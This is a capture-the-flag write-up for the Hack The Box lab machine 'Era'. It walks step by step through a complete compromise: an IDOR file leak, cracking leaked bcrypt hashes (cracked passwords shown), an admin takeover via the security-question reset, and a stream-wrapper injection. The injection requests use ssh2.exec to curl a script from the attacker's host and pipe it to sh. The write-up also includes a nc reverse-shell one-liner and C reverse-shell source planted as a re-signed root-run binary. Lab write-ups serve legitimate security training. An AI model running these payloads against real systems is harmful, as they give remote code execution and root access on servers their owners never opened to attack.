Era
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo nmap -PN -sC -sV -oN era 10.129.210.35
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 21:39 PKT
Nmap scan report for 10.129.210.35
Host is up (0.38s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.18 seconds
Trying FTP
It’s unusual to see a closed SSH port. FTP is open, we could try anonymous login.
1
2
3
4
5
6
7
8
9
10
ftp 10.129.210.35
Connected to 10.129.210.35.
220 (vsFTPd 3.0.5)
Name (10.129.210.35:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
Edit /etc/hosts and include era.htb. It’s a very simple 1-page website. Definitely a subdomain enumeration here.
Further Enumeration
Subdomain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ gobuster vhost -u http://era.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://era.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: file.era.htb Status: 200 [Size: 6765]
Add file.era.htb to /etc/hosts. The subdomain requires authentication. Let’s try enumerating for directories.
Directory Fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://file.era.htb/FUZZ.php -ic -t 80
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/FUZZ.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 80
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
register [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 170ms]
login [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 303ms]
index [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 449ms]
download [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 596ms]
upload [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 300ms]
layout [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 199ms]
logout [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 164ms]
manage [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 146ms]
reset [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 164ms]
Some are pages with .php and some are directories. We have a register page, let’s try registering.
marshal:test123
We have 3 pages.
manage.php- Shows file uploaded and deletion.upload.php- Allows uploading filereset.php- Allows updating security question.
What’s weird is we can reset any user’s security question as long as they exist.
We will try to upload a file.
We see this link after uploading: http://file.era.htb/download.php?id=6908
This seems like an IDOR.
Abusing IDOR
Let’s generate a file with ids.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
seq 1 10000 > ids.txt
ffuf -u "http://file.era.htb/download.php?id=FUZZ" -w ids.txt -mc 200 -H 'Cookie: PHPSESSID=ijd8roqes3q88m9s53rdqg14st' -fw 3161
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /home/kali/htb/era_re/ids.txt
:: Header : Cookie: PHPSESSID=ijd8roqes3q88m9s53rdqg14st
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response words: 3161
________________________________________________
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 153ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 148ms]
We have two valid hits.
On 54 we have site-backup-30-08-24.zip juicy. On 150 we have signing.zip.
Let’s download them both.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ls -la
total 836
drwxrwxr-x 6 kali kali 4096 Jul 30 22:28 .
drwxrwxr-x 4 kali kali 4096 Jul 30 22:29 ..
-rw-r--r-- 1 kali kali 23359 Jun 29 21:29 bg.jpg
drwxr-xr-x 3 kali kali 4096 Jun 29 21:23 css
-rw-r--r-- 1 kali kali 2540 Jun 29 21:29 download.php
-rw-r--r-- 1 kali kali 20480 Jun 29 21:20 filedb.sqlite
drwxr-xr-x 2 kali kali 4096 Dec 15 2024 files
-rw-r--r-- 1 kali kali 2221 Jun 29 21:29 functions.global.php
-rw-r--r-- 1 kali kali 1570 Jun 29 21:29 index.php
-rw-r--r-- 1 kali kali 7293 Jun 29 21:29 initial_layout.php
-rw-r--r-- 1 kali kali 7222 Jun 29 21:29 layout_login.php
-rw-r--r-- 1 kali kali 7959 Jun 29 21:29 layout.php
-rw-r--r-- 1 kali kali 34524 Jun 29 21:29 LICENSE
-rw-r--r-- 1 kali kali 5729 Jun 29 21:29 login.php
-rw-r--r-- 1 kali kali 248 Jun 29 21:29 logout.php
-rw-r--r-- 1 kali kali 113289 Jun 29 21:29 main.png
-rw-r--r-- 1 kali kali 11937 Jun 29 21:29 manage.php
-rw-r--r-- 1 kali kali 5149 Jun 29 21:29 register.php
-rw-r--r-- 1 kali kali 4916 Jun 29 21:29 reset.php
drwxr-xr-x 6 kali kali 4096 Jun 29 21:23 sass
-rw-r--r-- 1 kali kali 92890 Jun 29 21:29 screen-download.png
-rw-r--r-- 1 kali kali 97427 Jun 29 21:29 screen-login.png
-rw-r--r-- 1 kali kali 85428 Jun 29 21:29 screen-main.png
-rw-r--r-- 1 kali kali 170600 Jun 29 21:29 screen-manage.png
-rw-r--r-- 1 kali kali 87742 Jun 29 21:29 screen-upload.png
-rw-r--r-- 1 kali kali 7580 Jun 29 21:29 security_login.php
-rw-r--r-- 1 kali kali 6943 Jun 29 21:29 upload.php
drwxr-xr-x 2 kali kali 4096 Jun 29 21:23 webfonts
Database files are always high-value.
1
2
3
4
5
6
7
8
9
10
sqlite> .tables
files users
sqlite> SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
John the creds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Remaining 4 password hashes with 4 different salts
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:15 0.02% (ETA: 2025-08-05 06:12) 0g/s 38.42p/s 154.4c/s 154.4C/s mamamia..gracia
Session aborted
┌──(kali㉿vm-kali)-[~/htb/era_re]
└─$ cat creds.txt
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
┌──(kali㉿vm-kali)-[~/htb/era_re]
└─$ john --show creds.txt
eric:america
yuri:mustang
The admin username is different. We can definitely reset his security questions. Let’s see if yuri or eric exist on website and FTP.
eric and yuri can access the website. eric can’t access ftp. yuri can access ftp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ftp 10.129.210.35
Connected to 10.129.210.35.
220 (vsFTPd 3.0.5)
Name (10.129.210.35:kali): yuri
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||65065|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
We have backend technologies:
1
2
3
4
5
6
7
ls -la
total 20
drwxrwxr-x 4 kali kali 4096 Jul 30 23:44 .
drwxrwxr-x 5 kali kali 4096 Jul 30 23:44 ..
drwxrwxr-x 2 kali kali 4096 Jul 30 23:44 apache2_conf
-rw-rw-r-- 1 kali kali 258 Jul 30 23:44 .listing
drwxrwxr-x 3 kali kali 4096 Jul 30 23:47 php8.1_conf
apache2 and php8.1
Enumerating the website
Let’s login as yuri to website and takeover admin account by setting admin_ef01cab31aa questions to MariaM or whatever.
We have now access as admin. admin can view any uploaded files. Let’s review the source code from site-backup and see if we have any way to gain foothold.
Foothold
Reviewing download.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
require_once('functions.global.php');
require_once('layout.php');
function deliverMiddle_download($title, $subtitle, $content) {
return '
<main style="
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 80vh;
text-align: center;
padding: 2rem;
">
<h1>' . htmlspecialchars($title) . '</h1>
<p>' . htmlspecialchars($subtitle) . '</p>
<div>' . $content . '</div>
</main>
';
}
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');
}
}
?>
What’s interesting is the part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
as erauser === 1, definitely should be admin, we can use the parameters show and format. It seems like format parameter allows us to view the uploaded files in different format.
Stream Wrapper Injection
The vulnerable part is how it handles file opening for admin:
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
Stream Wrapper Injection / Remote File Inclusion (RFI) Because $format is directly prepended to the $file, an attacker can trigger fopen() using:
- php://filter/convert.base64-encode/resource=…
- http://evil.com/somefile
- data://text/plain;base64,…
- ftp://…
- compress.zlib://, phar://, etc.
Let’s try to figure out what is installed on the server with PHP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿vm-kali)-[~/htb/era_re/era.htb/php8.1_conf]
└─$ ls -la
total 10100
drwxrwxr-x 3 kali kali 4096 Jul 30 23:47 .
drwxrwxr-x 4 kali kali 4096 Jul 30 23:44 ..
drwxrwxr-x 2 kali kali 4096 Jul 30 23:47 build
-rw-rw-r-- 1 kali kali 35080 Dec 8 2024 calendar.so
-rw-rw-r-- 1 kali kali 14600 Dec 8 2024 ctype.so
-rw-rw-r-- 1 kali kali 190728 Dec 8 2024 dom.so
-rw-rw-r-- 1 kali kali 96520 Dec 8 2024 exif.so
-rw-rw-r-- 1 kali kali 174344 Dec 8 2024 ffi.so
-rw-rw-r-- 1 kali kali 7153984 Dec 8 2024 fileinfo.so
-rw-rw-r-- 1 kali kali 67848 Dec 8 2024 ftp.so
-rw-rw-r-- 1 kali kali 18696 Dec 8 2024 gettext.so
-rw-rw-r-- 1 kali kali 51464 Dec 8 2024 iconv.so
-rw-rw-r-- 1 kali kali 2123 Jul 30 23:44 .listing
-rw-rw-r-- 1 kali kali 1006632 Dec 8 2024 opcache.so
-rw-rw-r-- 1 kali kali 121096 Dec 8 2024 pdo.so
-rw-rw-r-- 1 kali kali 39176 Dec 8 2024 pdo_sqlite.so
-rw-rw-r-- 1 kali kali 284936 Dec 8 2024 phar.so
-rw-rw-r-- 1 kali kali 43272 Dec 8 2024 posix.so
-rw-rw-r-- 1 kali kali 39176 Dec 8 2024 readline.so
-rw-rw-r-- 1 kali kali 18696 Dec 8 2024 shmop.so
-rw-rw-r-- 1 kali kali 59656 Dec 8 2024 simplexml.so
-rw-rw-r-- 1 kali kali 104712 Dec 8 2024 sockets.so
-rw-rw-r-- 1 kali kali 67848 Dec 8 2024 sqlite3.so
-rw-rw-r-- 1 kali kali 313912 Dec 8 2024 ssh2.so
-rw-rw-r-- 1 kali kali 22792 Dec 8 2024 sysvmsg.so
-rw-rw-r-- 1 kali kali 14600 Dec 8 2024 sysvsem.so
-rw-rw-r-- 1 kali kali 22792 Dec 8 2024 sysvshm.so
-rw-rw-r-- 1 kali kali 35080 Dec 8 2024 tokenizer.so
-rw-rw-r-- 1 kali kali 43272 Dec 8 2024 xmlreader.so
-rw-rw-r-- 1 kali kali 59656 Dec 8 2024 xml.so
-rw-rw-r-- 1 kali kali 51464 Dec 8 2024 xmlwriter.so
-rw-rw-r-- 1 kali kali 39176 Dec 8 2024 xsl.so
-rw-rw-r-- 1 kali kali 84232 Dec 8 2024 zip.so
These are shared libraries used by PHP, each ending in .so (shared object). .so files in PHP are dynamically loadable modules extensions that add functionality to PHP.
If we have ssh2.so shared object it means ssh2 is at least installed even if not enabled.
Let’s read about the ssh2 wrapper.
1
2
3
4
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename
We can use ssh2.exec:// wrapper to run an arbitrary command. Potentially get a reverse shell. Since yuri was enabled on FTP we will try his credential.
We will try to inject the stream wrapper here in format parameter:
http://file.era.htb/download.php?id=54&show=true&format=
We will check if we can get a connection on our machine.
1
2
3
4
5
6
7
8
9
10
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl+10.10.16.30; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=hr8uush183pcpavpk513gro9ks
Upgrade-Insecure-Requests: 1
Priority: u=0, i
1
2
3
4
5
6
7
nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 38748
GET / HTTP/1.1
Host: 10.10.16.30
User-Agent: curl/7.81.0
Accept: */*
We can get a reverse shell.
1
2
cat shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.30 1234 >/tmp/f
Start a listener, and http server for the shell script.
1
2
3
4
5
6
7
8
9
10
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl+-s+http://10.10.16.30/shell.sh|sh; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=hr8uush183pcpavpk513gro9ks
Upgrade-Insecure-Requests: 1
Priority: u=0, i
and we have a reverse shell as yuri. But we don’t have a flag here.
1
2
3
4
5
6
7
$ ls /home/
eric
yuri
$ su eric
Password: america
whoami
eric
We are now eric.
Upgrade TTY
1
2
3
4
5
6
7
8
python3 -c "import pty; pty.spawn('/bin/bash');"
eric@era:/home/yuri$ ^Z
zsh: suspended nc -lvnp 1234
┌──(kali㉿vm-kali)-[~/htb/era_re/era.htb/php8.1_conf]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 1234
export TERM=xterm
Privilege Escalation
We have an unusual folder in /opt/
1
2
3
4
ls /opt/AV/periodic-checks/
monitor status.log
eric@era:/opt/AV/periodic-checks$ ./monitor
bash: ./monitor: Permission denied
Let’s exfil the monitor file and understand what’s happening.
1
2
3
4
5
6
file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
└─$ ./monitor
[*] System scan initiated...
[*] No threats detected. Shutting down...
monitor is a 64-bit Linux executable in ELF format, compiled as a PIE binary, dynamically linked to system libraries, built for Linux kernel 3.2.0+, and still contains symbols that could help us debug or reverse-engineer it.
We could try something as simple as trying to replace the original monitor file with our version of monitor which gets us a reverse shell as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdio.h>
int main() {
printf("[*] System scan initiated...\n");
printf("[*] No threats detected. Shutting down...");
int sockfd;
struct sockaddr_in revsockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(4444); // Replace with your listener port
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.30"); // Replace with your IP
connect(sockfd, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockfd, 0); // STDIN
dup2(sockfd, 1); // STDOUT
dup2(sockfd, 2); // STDERR
execve("/bin/sh", NULL, NULL);
return 0;
}
1
gcc binary.c -static -o malicious_monitor
Let’s upload it:
1
2
mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ curl http://10.10.16.30/malicious_monitor -o monitor
On running our malicious binary:
1
2
3
4
5
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 40982
whoami
eric
We indeed get a shell, however, if you wait long enough root will take permissions on the binary and you won’t be able to run it. You won’t get a reverse shell as root either.
1
2
3
4
5
6
7
8
9
eric@era:/opt/AV/periodic-checks$ ls -la
total 52
drwxrwxr-- 2 root devs 4096 Aug 18 15:20 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw-r-- 1 root devs 16544 Aug 18 15:20 monitor
-rwxrw---- 1 root devs 16544 Aug 18 15:19 monitor.bak
-rw-rw---- 1 root devs 307 Aug 18 15:20 status.log
eric@era:/opt/AV/periodic-checks$ ./monitor
bash: ./monitor: Permission denied
What this confirms is that our binary does indeed work, but it’s missing something to be ran by root.
Messing with the binary
This takes us back to our discovery of .pem and .genkey the other files signing that we got from IDOR.
Doing something simple like strings:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
strings monitor
<SNIP>
[*] System scan initiated...
[*] No threats detected. Shutting down...
<SNIP>
Era Inc.1
ELF verification1
yurivich@era.com
<SNIP>
.dynamic
.data
.bss
.comment
.text_sig
A few things stand out:
- ELF verification generally refers to confirming the authenticity and integrity
- An unusual section
.text_sig
If you have been into game hacking or software cracking, you know of the concept called signature scanning.
Signature scanning in the context of games typically refers to methods used to verify the integrity and authenticity of game files or software. It involves comparing the “signature” of a file (a unique identifier or checksum) against a known database of legitimate signatures. This helps detect unauthorized modifications, tampering, or the presence of malicious code.
Let’s run objdump on it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
objdump -s -j .text_sig monitor
monitor: file format elf64-x86-64
Contents of section .text_sig:
0000 308201c6 06092a86 4886f70d 010702a0 0.....*.H.......
0010 8201b730 8201b302 0101310d 300b0609 ...0......1.0...
0020 60864801 65030402 01300b06 092a8648 `.H.e....0...*.H
0030 86f70d01 07013182 01903082 018c0201 ......1...0.....
0040 01306730 4f311130 0f060355 040a0c08 .0g0O1.0...U....
0050 45726120 496e632e 31193017 06035504 Era Inc.1.0...U.
0060 030c1045 4c462076 65726966 69636174 ...ELF verificat
0070 696f6e31 1f301d06 092a8648 86f70d01 ion1.0...*.H....
0080 09011610 79757269 76696368 40657261 ....yurivich@era
0090 2e636f6d 02146d63 4aa981e1 93a1e448 .com..mcJ......H
00a0 c5205ff7 9b84e6b6 f50b300b 06096086 . _.......0...`.
00b0 48016503 04020130 0d06092a 864886f7 H.e....0...*.H..
00c0 0d010101 05000482 01006a8d 5090e77a ..........j.P..z
00d0 a22431d3 e629241a c7eec906 dce87592 .$1..)$.......u.
00e0 c90733b8 5ea5c466 db04a35a 28648853 ..3.^..f...Z(d.S
00f0 00f2775c fbe983ae 833d2c36 7030985a ..w\.....=,6p0.Z
0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3 ...(..u..@)U....
0110 058e6ee1 1eb435bb 30a3056d b85074bc ..n...5.0..m.Pt.
0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d N..D.W../K^..k"-
0130 c4039189 2c7ded05 fe45a3e9 c00f0610 ....,}...E......
0140 f8a653ab f72571aa cbf2ff38 238658d0 ..S..%q....8#.X.
0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94 ...3.m ....}NI..
0160 670c9de9 42779e09 67143d81 49209fc1 g...Bw..g.=.I ..
0170 24005880 04c7cebf d398ec6d 55b50333 $.X........mU..3
0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b .F..t..$..v....;
0190 991bc0f4 762b1c09 1d82317c aab31e88 ....v+....1|....
01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa ..Hq+.....l..k..
01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da .l*...yD..zno...
01c0 5e41e0e6 5ddeec93 47ee ^A..]...G.
ELF Verification as you can see. So what to do now? We will grab an ELF Binary signer and sign our binary.
Signing our binary
1
2
3
4
5
6
git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
unzip signing.zip
mv x509.genkey key.pem /tmp/linux-elf-binary-signer/
cd linux-elf-binary-signer
make clean
gcc -o elf-sign elf_sign.c -lssl -lcrypto -Wno-deprecated-declarations
We need to know which digest to sign our elf with:
1
2
3
4
5
objcopy --dump-section .text_sig=text_sig_section.bin monitor
openssl asn1parse -inform DER -in text_sig_section.bin
<SNIP>
172:d=6 hl=2 l= 9 prim: OBJECT :sha256
<SNIP>
Let’s sign it:
1
2
3
4
5
6
7
8
9
10
openssl req -x509 -new -key key.pem -out x509.crt -config x509.genkey -days 365
./elf-sign sha256 key.pem x509.crt ../malicious_monitor
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 26 sections detected.
--- Section 0006 [.text] detected.
--- Length of section [.text]: 480377
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
Transfer the signed binary:
1
curl http://10.10.16.30/malicious_monitor -o monitor
Be sure to start your listener, the shell won’t be immediate wait for it:
1
2
3
4
5
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 42948
whoami
root